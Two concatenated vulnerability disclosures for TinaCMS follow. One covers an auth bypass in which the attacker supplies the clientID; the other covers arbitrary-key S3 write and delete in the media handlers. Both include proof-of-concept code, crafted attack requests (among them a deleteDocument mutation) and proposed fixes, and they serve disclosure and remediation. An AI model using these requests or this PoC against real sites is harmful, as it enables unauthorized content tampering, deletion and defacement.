Summary @tinacms/auth's isAuthorized(req) decides authorization by validating the caller's bearer token against https://identity.tinajs.io/v2/apps/${req.query.clientID}/currentUser, where the clientID comes from the request and is never compared to the site's own configured TinaCloud app id. The function answers "is this token a verified user of whatever app the caller named?" instead of "is this token a verified user of THIS site?" Any TinaCloud user can create their own free app, get a valid token for it, and send ?clientID=<their-own-app> plus Authorization: <their-own-token> to a victim self-hosted site. The victim's authorized callback runs const user = await isAuthorized(req); return user && user.verified, which returns true, and the victim authorizes the attacker. The attacker holds no account on the victim and needs no victim interaction. With the media handlers this grants read, upload, and delete on the victim's media bucket. When the backend uses TinaCloudBackendAuthProvider() (the default the tinacms init wizard generates for TinaCloud auth), it grants full GraphQL read, write, and delete of the victim's content.
Affected code (confirmed at 5a6839f) packages/@tinacms/auth/src/index.ts:71-88 reads the clientID from the request: ts export const isAuthorized = async (req: NextApiRequest) => { const clientID = req.query.clientID; // attacker-controlled const token = req.headers.authorization; // attacker-controlled if (typeof clientID === 'string' && typeof token === 'string') { return await isUserAuthorized({ clientID, token }); } return undefined; }; index.ts:16-43 sends that caller-chosen clientID straight to the identity server, and returns the user on 200: ts const tinaCloudRes = await fetch( https://identity.tinajs.io/v2/apps/${clientID}/currentUser, { headers: new Headers({ 'Content-Type': 'application/json', authorization: token }), method: 'GET' } ); if (tinaCloudRes.ok) { return await tinaCloudRes.json(); } index.ts:118-135 (TinaCloudBackendAuthProvider) gates only on verified, which reflects the attacker's own email verification: ts isAuthorized: async (req, res) => { const user = await isAuthorized(req as NextApiRequest); if (user && user.verified) return { isAuthorized: true }; return { isAuthorized: false, errorCode: 401, errorMessage: 'Unauthorized' }; }, Every media-store README wires the same gate (next-tinacms-cloudinary/README.md:113-122, identical in s3 and dos): ts authorized: async (req, res) => { if (process.env.NEXTPUBLICUSELOCALCLIENT === '1') return true; const user = await isAuthorized(req); return user && user.verified; // no clientID === <this site's app> check } The bug is duplicated in next-tinacms-azure/src/auth.ts:34-51 (req.nextUrl.searchParams.get('clientID')). Downstream nothing pins the site's clientID: @tinacms/datalayer/src/backend/index.ts:201 gates on the boolean, and next-tinacms-cloudinary/src/handlers.ts:36 returns 401 only when the callback is false. The tinacms init TinaCloud path ships this by default (@tinacms/cli/.../prompts/authProvider.ts:17 -> TinaCloudBackendAuthProvider(), used in templates/tinaNextRoute.tsx:21-24 for every non-local deployment). Steps to reproduce (real target) Setup: attacker has one free TinaCloud account with one app (clientID = ATTACKERAPP, token Tattacker) and no victim account. Victim is any self-hosted TinaCMS site using @tinacms/auth. Media bucket (read; the same gate covers POST upload and DELETE): GET /api/cloudinary/media?clientID=ATTACKERAPP HTTP/1.1 Host: victim.example Authorization: Tattacker Content backend, when TinaCloudBackendAuthProvider is used: POST /api/tina/gql?clientID=ATTACKERAPP HTTP/1.1 Host: victim.example Authorization: Tattacker Content-Type: application/json {"query":"mutation($c:String!,$r:String!){deleteDocument(collection:$c,relativePath:$r){typename}}","variables":{"c":"post","r":"hello.md"}} Expected: 401/403 for a user with no access to victim.example. Actual: 200, because authorization is bound to the attacker-supplied clientID. Proof of concept (self-contained, zero dependencies) Save the file below as poc.js and run node poc.js (Node >= 18). It runs the package's own isAuthorized / isUserAuthorized (TypeScript types removed; the hard-coded identity.tinajs.io base read from an env var so it points at a local identity model) behind the verbatim media-store authorized callback. The identity model scopes tokens to apps correctly and is not itself vulnerable; the bug is that the victim lets the caller choose which app to validate against. js / Self-contained PoC — @tinacms/auth cross-tenant authorization bypass Audited commit: 5a6839f95ca60d1b9f4032a3bed1ae4a338a4787 (@tinacms/auth 1.1.3) Zero dependencies. Run with: node poc.js (Node >= 18 for global fetch) The two functions below are copied from packages/@tinacms/auth/src/index.ts. The ONLY changes are: TypeScript types removed, and the hard-coded https://identity.tinajs.io base read from IDENTITYBASE so it can point at the local identity model. req.query.clientID, the currentUser call, and the user && user.verified gate are byte-for-byte the original logic. / const http = require('http'); const IDENTITYPORT = 18099; const VICTIMPORT = 19090; process.env.IDENTITYBASE = http://127.0.0.1:${IDENTITYPORT}; / ===== verbatim from @tinacms/auth/src/index.ts (types stripped) ===== / const isUserAuthorized = async (args) => { const clientID = args.clientID; const token = args.token; try { const tinaCloudRes = await fetch( ${process.env.IDENTITYBASE || 'https://identity.tinajs.io'}/v2/apps/${clientID}/currentUser, { headers: new Headers({ 'Content-Type': 'application/json', authorization: token }), method: 'GET', } ); if (tinaCloudRes.ok) { const user = await tinaCloudRes.json(); return user; } return; } catch (e) { console.error(e); throw e; } }; const isAuthorized = async (req) => { const clientID = req.query.clientID; // <-- attacker-controlled const token = req.headers.authorization; // <-- attacker-controlled if (typeof clientID === 'string' && typeof token === 'string') { return await isUserAuthorized({ clientID, token }); } return undefined; }; / ===== identity model: a token grants access to the app its owner owns ===== This is NOT the vulnerable part. It scopes tokens to apps correctly. The bug is that the victim lets the caller choose which app to validate against. / const TOKENFOR = { 'victim-app': 'valid-token-for-victim-app', 'attacker-app': 'valid-token-for-attacker-app', }; const USERFOR = { 'victim-app': { id: 'u-victim', email: 'owner@victim.example', verified: true, role: 'admin' }, 'attacker-app': { id: 'u-attacker', email: 'attacker@evil.example', verified: true, role: 'admin' }, }; const identity = http.createServer((req, res) => { const m = req.url.match(/^\/v2\/apps\/([^/]+)\/currentUser$/); if (!m) { res.writeHead(404); return res.end('nf'); } const app = decodeURIComponent(m[1]); if (TOKENFOR[app] && req.headers['authorization'] === TOKENFOR[app]) { res.writeHead(200, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify(USERFOR[app])); } res.writeHead(401, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ message: 'unauthorized for this app' })); }); / ===== victim site (own clientID = victim-app), verbatim media-store README callback ===== / const authorized = async (req) => { const user = await isAuthorized(req); return user && user.verified; // never checks req.query.clientID === victim-app }; const victim = http.createServer(async (req, res) => { const u = new URL(req.url, http://127.0.0.1:${VICTIMPORT}); req.query = Object.fromEntries(u.searchParams.entries()); if (!u.pathname.startsWith('/api/cloudinary/media')) { res.writeHead(404); return res.end('nf'); } if (!(await authorized(req))) { res.writeHead(401, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ message: 'sorry this user is unauthorized' })); } res.writeHead(200, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ authorized: true, site: 'victim-app', media: ['victim/private/contract.pdf', 'victim/private/customers.csv'] })); }); / ===== driver ===== / function call(clientID, token) { return new Promise((resolve) => { const r = http.request({ host: '127.0.0.1', port: VICTIMPORT, path: /api/cloudinary/media?clientID=${encodeURIComponent(clientID)}, method: 'GET', headers: { authorization: token } }, (res) => { let b = ''; res.on('data', (c) => (b += c)); res.on('end', () => resolve({ status: res.statusCode, body: b })); }); r.on('error', (e) => resolve({ status: 0, body: String(e) })); r.end(); }); } (async () => { await new Promise((r) => identity.listen(IDENTITYPORT, '127.0.0.1', r)); await new Promise((r) => victim.listen(VICTIMPORT, '127.0.0.1', r)); const c1 = await call('victim-app', 'valid-token-for-victim-app'); console.log('[CONTROL 1 legit victim user ] clientID=victim-app token=victim ->', c1.status, c1.body); const c2 = await call('victim-app', 'valid-token-for-attacker-app'); console.log('[CONTROL 2 attacker token, victim ] clientID=victim-app token=attacker ->', c2.status, c2.body); const atk = await call('attacker-app', 'valid-token-for-attacker-app'); console.log('[ATTACK attacker own app+token ] clientID=attacker-app token=attacker ->', atk.status, atk.body); const bug = c1.status === 200 && c2.status === 401 && atk.status === 200; console.log('\nVERDICT:', bug ? 'VULNERABLE — attacker authorized on victim site with credentials only for their own app.' : 'NOT REPRODUCED'); identity.close(); victim.close(); process.exit(bug ? 0 : 1); })(); Output: [CONTROL 1 legit victim user ] clientID=victim-app token=victim -> 200 {"authorized":true,"site":"victim-app","media":[...]} [CONTROL 2 attacker token, victim ] clientID=victim-app token=attacker -> 401 {"message":"sorry this user is unauthorized"} [ATTACK attacker own app+token ] clientID=attacker-app token=attacker -> 200 {"authorized":true,"site":"victim-app","media":[...]} VERDICT: VULNERABLE - attacker authorized on victim site with credentials only for their own app. CONTROL 1 (200) shows the identity model is faithful, not a blanket allow. CONTROL 2 (401) shows the attacker cannot reach the victim's app with their own token. ATTACK (200) shows that naming their own app id, which their own token matches, passes the victim's gate and returns the victim's private media. I verified the full chain in source at the audited commit and reproduced the code logic deterministically with the PoC above. I did not run the end-to-end attack against production identity.tinajs.io with two real accounts and a live deployment; that step needs two real accounts and a deployment. The one assumption it rests on, that GET /v2/apps/<attacker-app>/currentUser with the attacker's own token returns 200 + verified:true, is the normal behavior of an app owner's own session.
Impact An attacker with a free TinaCloud account reaches editor-level control of unrelated tenants: - Media handlers: list and read media, upload arbitrary objects (next-tinacms-dos writes ACL: public-read, usable to host malware or phishing under the victim's CDN), and delete media by key. - TinaCloudBackendAuthProvider backend: arbitrary GraphQL. Read every document, createDocument / updateDocument to deface or inject content that deploys to production, and deleteDocument to destroy content. The attacker scripts requests with their own token and clientID=<own app> against known TinaCMS self-hosted endpoints, so it scales across deployments. Fix Bind the decision to the site's own configured app id instead of the request value. diff - export const isAuthorized = async (req: NextApiRequest) => { - const clientID = req.query.clientID; - const token = req.headers.authorization; + export const isAuthorized = async (req: NextApiRequest, expectedClientID?: string) => { + const requestClientID = req.query.clientID; + const token = req.headers.authorization; + const clientID = expectedClientID ?? process.env.NEXTPUBLICTINACLIENTID; + if (expectedClientID && requestClientID && requestClientID !== expectedClientID) { + return undefined; // refuse a cross-tenant clientID + } if (typeof clientID === 'string' && typeof token === 'string') { return await isUserAuthorized({ clientID, token }); } return undefined; }; Thread the site's configured clientID into TinaCloudBackendAuthProvider() and the media handler config, require isUserAuthorized to use it rather than req.query.clientID, apply the same change to next-tinacms-azure/src/auth.ts, and update the media-store READMEs so integrators stop reintroducing the request-driven clientID.
Summary
The production media handler shipped by next-tinacms-s3 (createMediaHandler in packages/next-tinacms-s3/src/handlers.ts) accepts an attacker-chosen ?key= query parameter and returns an AWS-signed PutObject URL whose Key is that value, with no check that the key falls under the operator's configured mediaRoot. The same handler's DELETE branch reads objectKey = (req.query.media as string[])[1] and dispatches a DeleteObjectCommand for that exact key, again unbounded by mediaRoot. Any caller that passes the operator-supplied authorized() predicate — i.e. any logged-in CMS editor in a typical TinaCloud / self-hosted deployment — therefore has write and delete authority over the entire S3 bucket the IAM key can reach, even though the package documents mediaRoot as the place where editors are scoped. The same shape is present in next-tinacms-dos, next-tinacms-azure, and next-tinacms-cloudinary, so a single design mistake spans every first-party production media backend.
Project: TinaCMS — first-party production media adapters (consumed by self-hosted Next.js sites and TinaCloud-backed deployments). Source reviewed: tinacms/tinacms @ main (b56dad4). Deployed artefact validated: next-tinacms-s3@21.0.3 handler logic, exercised against @aws-sdk/client-s3@3.665.x via aws-sdk-client-mock@4.1.0 (the AWS SDK signs the URL identically whether the bucket is real or mocked). Affected file(s): packages/next-tinacms-s3/src/handlers.ts:67-90 — GET ?key= returns presigned PutObjectCommand URL with attacker-chosen Key. packages/next-tinacms-s3/src/handlers.ts:199-223 — DELETE reads [, objectKey] = media and issues DeleteObjectCommand against attacker-chosen Key. packages/next-tinacms-dos/src/handlers.ts:79-152 and :249-278 — same write/delete pattern, plus a server-side upload that builds the key with path.join(mediaRoot, prefix + filename) over attacker-controlled directory and filename. packages/next-tinacms-azure/src/handlers.ts:44-95 — uploadMedia writes path.join(directory, filename) with both fields attacker-controlled (no mediaRoot configured at all); deleteAsset deletes any blob in the container. packages/next-tinacms-cloudinary/src/handlers.ts:193-204 — cloudinary.uploader.destroy(publicid) over attacker-chosen publicid. CWE: CWE-639 — Authorization Bypass Through User-Controlled Key. Adjacent: CWE-284 (Improper Access Control), CWE-862 (Missing Authorization on the per-key authority check). OWASP 2021: A01:2021 — Broken Access Control (the operator's intended mediaRoot boundary is enforced only on listing, not on writes or deletes). Secondary: A04:2021 — Insecure Design (every adapter independently re-implements the same broken pattern).
Vulnerable code
packages/next-tinacms-s3/src/handlers.ts:39-98:
ts export const createMediaHandler = (config: S3Config, options?: S3Options) => { const client = new S3Client(config.config); const bucket = config.bucket; let mediaRoot = config.mediaRoot || ''; // (1) if (mediaRoot) { / normalise to "media/" form / }
return async (req: NextApiRequest, res: NextApiResponse) => { const isAuthorized = await config.authorized(req, res); if (!isAuthorized) { res.status(401).json({ message: 'sorry this user is unauthorized' }); return; } switch (req.method) { case 'GET': if (req.query.key) { const expiresIn: number = (req.query.expiresIn && Number(req.query.expiresIn)) || 3600; // (2) const s3key = req.query.key ? Array.isArray(req.query.key) ? req.query.key[0] : req.query.key : null; if (!s3key) return res.status(400).json({ message: 'key is required' }); if (await keyExists(client, bucket, s3key)) { return res.status(400).json({ message: 'key already exists' }); // (3) } const signedUrl = await getUploadUrl(bucket, s3key, expiresIn, client); // (4) return res.json({ signedUrl, src: cdnUrl + s3key }); } return listMedia(req, res, client, bucket, mediaRoot, cdnUrl); // (5) case 'DELETE': return deleteAsset(req, res, client, bucket); // (6)
packages/next-tinacms-s3/src/handlers.ts:199-223:
ts async function deleteAsset(req, res, client, bucket) { const { media } = req.query; const [, objectKey] = media as string[]; // (7) const params: DeleteObjectCommandInput = { Bucket: bucket, Key: objectKey }; const command = new DeleteObjectCommand(params); ... }
At (1) the operator configures mediaRoot (e.g. "media/"), and the package's README documents this as the directory the IAM key is scoped to. At (4) the handler signs a PutObjectCommand with Key: s3key taken verbatim from req.query.key. Nothing between (1) and (4) verifies that s3key starts with mediaRoot, so any path the IAM key can reach is fair game. The only filter is the keyExists check at (3), which prevents overwrite of an existing object but not creation of arbitrary new ones (and not overwrite of objects the IAM key cannot HeadObject). At (2) the validity window of the produced URL is also attacker-controlled, capped only by AWS SigV4's 7-day hard limit. At (5) the list path does prefix-join mediaRoot (Prefix: mediaRoot ? path.join(mediaRoot, prefix) : prefix), demonstrating that the boundary was understood to exist — it just isn't enforced on writes. At (6) + (7) delete extracts the second URL segment into objectKey with no prefix check, so DELETE /api/s3/media/x/anything-in-the-bucket is a valid arbitrary-key delete primitive.
For contrast, the same package's listMedia (line 139) does write Prefix: mediaRoot ? path.join(mediaRoot, prefix) : prefix, and stripMediaRoot (line 100) exists explicitly to peel mediaRoot off keys returned to the client — so the codebase models mediaRoot as a security boundary on the read side. The write and delete sides simply forgot to apply it.
The same misalignment is duplicated in three sibling packages:
packages/next-tinacms-dos/src/handlers.ts:115-125 — upload builds Key: mediaRoot ? path.join(mediaRoot, prefix + filename) : prefix + filename over attacker-controlled prefix (from req.body.directory) and filename (from multer's file.originalname); path.join collapses .. segments, so a directory of ../.. plus a chosen filename lands at any key in the bucket. Lines 249-278 reproduce the S3 delete-by-second-segment pattern. packages/next-tinacms-azure/src/handlers.ts:44-95 — uploadMedia writes a blob at path.join(directory, filename) with both values straight out of formData. next-tinacms-azure has no mediaRoot config at all (AzureBlobStorageConfig in src/types.ts), so the entire container is writable / deletable by any authorized user. packages/next-tinacms-cloudinary/src/handlers.ts:193-204 — deleteAsset calls cloudinary.uploader.destroy(publicid) over the attacker-chosen second segment, deleting any asset in the cloud. The same handler's listMedia (line 110) interpolates mediaListOptions.directory directly into a Cloudinary search-expression DSL string (folder="${directory}"), giving an authorized user full search-expression injection — out of scope for this finding but worth a separate report.
Reproduction (validated locally)
Environment: Node 22, @aws-sdk/client-s3@3.665.0, @aws-sdk/s3-request-presigner@3.665.0, aws-sdk-client-mock@4.1.0. The harness vendors createMediaHandler byte-for-byte from packages/next-tinacms-s3/src/handlers.ts and runs it against a mocked S3Client. The AWS SDK signs the URL identically whether the bucket exists — the resulting URL is the same one a real S3 deployment would hand back to the editor's browser, so it would PUT against a real bucket without further help.
PoC layout under /Users/admin/joplinresearch/tinacms-s3-poc/:
package.json (deps only) handler-vendored.mjs (verbatim copy of createMediaHandler, types stripped) poc.mjs (four exhibits exercising the handler)
Handler is configured the way the package's README documents:
js const handler = createMediaHandler({ config: { region: 'us-east-1', credentials: { accessKeyId: '…', secretAccessKey: '…' } }, bucket: 'editor-media-bucket', mediaRoot: 'media', // editors are "scoped to media/" authorized: async () => true, // typical wiring: TinaCloud verified user });
Run:
bash $ cd /Users/admin/tinacms-s3-poc && node poc.mjs --- Exhibit A: presigned PUT URL for arbitrary bucket key --- HTTP status : 200 signedUrl : https://editor-media-bucket.s3.us-east-1.amazonaws.com/index.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=AKIAFA... src : https://editor-media-bucket.s3.us-east-1.amazonaws.com/index.html signed Key : /index.html RESULT : BYPASS (signed URL writes outside media/)
--- Exhibit B: cross-tenant overwrite via attacker-chosen key --- signed Key : /tenant-victim/posts/announcement.mdx RESULT : BYPASS (cross-tenant write primitive granted)
--- Exhibit C: arbitrary-key DELETE via [...media] route --- HTTP status : 200 S3 Bucket : editor-media-bucket S3 Key : tenant-victim/posts/announcement.mdx RESULT : BYPASS (arbitrary-key DELETE granted)
--- Exhibit D: attacker-controlled ?expiresIn --- X-Amz-Expires: 604800 sec RESULT : BYPASS (URL valid far longer than the 1h default)
Verification, in detail:
1. Exhibit A — GET /api/s3/media?key=index.html. mediaRoot=media/ is configured but never consulted on the write path. The handler hands back a SigV4 URL whose path is /index.html. PUT'ing any body to that URL would create the bucket-root object index.html against the operator's IAM credentials. For a deployment that fronts the bucket with CloudFront / S3-website hosting, this is a one-shot site-defacement primitive (and, for any CSP that trusts the bucket, a one-shot stored-XSS primitive against the published site).
2. Exhibit B — same primitive, attacker-chosen key tenant-victim/posts/announcement.mdx. In the multi-tenant TinaCloud / TinaCMS Cloud deployment shape (one bucket shared across tenants, each tenant assigned a mediaRoot/<tenant>/ prefix), a Tenant A editor receives a presigned PUT URL for any Tenant B key. Cross-tenant content tampering with no further bug needed.
3. Exhibit C — DELETE /api/s3/media/anything-here-is-ignored/tenant-victim%2Fposts%2Fannouncement.mdx. The handler reads the catch-all as req.query.media = ['anything-here-is-ignored', 'tenant-victim/posts/announcement.mdx'], destructures to objectKey = media[1], dispatches DeleteObjectCommand({ Bucket: 'editor-media-bucket', Key: 'tenant-victim/posts/announcement.mdx' }). The mock confirms the captured command's Key is the attacker-supplied string. Real S3 will honour the same call. (The mock-captured call confirms the handler's behaviour; the real S3 call requires only s3:DeleteObject on the bucket, which the package's README instructs operators to grant.)
4. Exhibit D — ?expiresIn=604800 (7 days, the SigV4 ceiling). The handler accepts it, the resulting X-Amz-Expires=604800. Combined with Exhibit A, an attacker who briefly compromises a CMS session (e.g. via a stolen idle browser session or the dev-server CSRF write described in finding 06) can mint a long-lived offline write primitive — usable for a week with no further interaction with the CMS.
The four exhibits together: cross-mediaRoot write, cross-tenant write, arbitrary-key delete, and long-lived signed-URL minting.
Impact
Cross-tenant / cross-mediaRoot write. In any deployment where the bucket holds anything other than this one editor's mediaRoot (multi-tenant TinaCloud, shared corporate bucket, bucket-backed static site), an authorized editor obtains write authority over every key the IAM credential can reach. Concretely: defacement of a static site fronted by the bucket; cross-tenant content tampering; replacement of .html, .js, .json assets that downstream consumers trust. (Exhibits A, B; handlers.ts:67-90.) Stored XSS via uploaded HTML. S3 returns objects with the Content-Type the upload supplies. The presigned PutObjectCommand URL carries no Content-Type constraint — the attacker's PUT chooses it. An editor can therefore write an HTML / SVG / JS payload to the bucket-root, and any CDN or origin that serves bucket objects directly to an authenticated SaaS surface inherits stored XSS in that origin. Arbitrary-key delete (data destruction). Through [...media] the handler treats the second URL segment as a free-form object key. An editor can wipe any object the IAM key can s3:DeleteObject, including non-media artefacts like deployment manifests, backups, or other tenants' files. (Exhibit C; handlers.ts:199-223.) Bucket-policy implications. The README (lines 38-90) tells operators to grant the IAM key s3:PutObject, s3:PutObjectAcl, s3:DeleteObject, and s3:ListBucket on the whole bucket. The README implies the application code constrains the editor's actions to mediaRoot. Because the application code does not, every operator who follows the README has — without realising — granted every CMS editor full write/delete on the whole bucket. Long-lived offline write primitive. expiresIn is attacker-controlled and not capped by the handler. A single GET request mints a URL valid for up to 7 days (AWS SigV4 ceiling). An attacker who briefly compromises a CMS session can stash one such URL and continue writing arbitrary objects long after the session is revoked. (Exhibit D.) Same-shape exposure on every other first-party media adapter. next-tinacms-dos (DigitalOcean Spaces, S3-compatible), next-tinacms-azure (Blob Storage), and next-tinacms-cloudinary (Cloudinary) all duplicate the broken pattern. Azure has no mediaRoot config at all, so the boundary that next-tinacms-s3 advertises but doesn't enforce isn't even nominally present in next-tinacms-azure.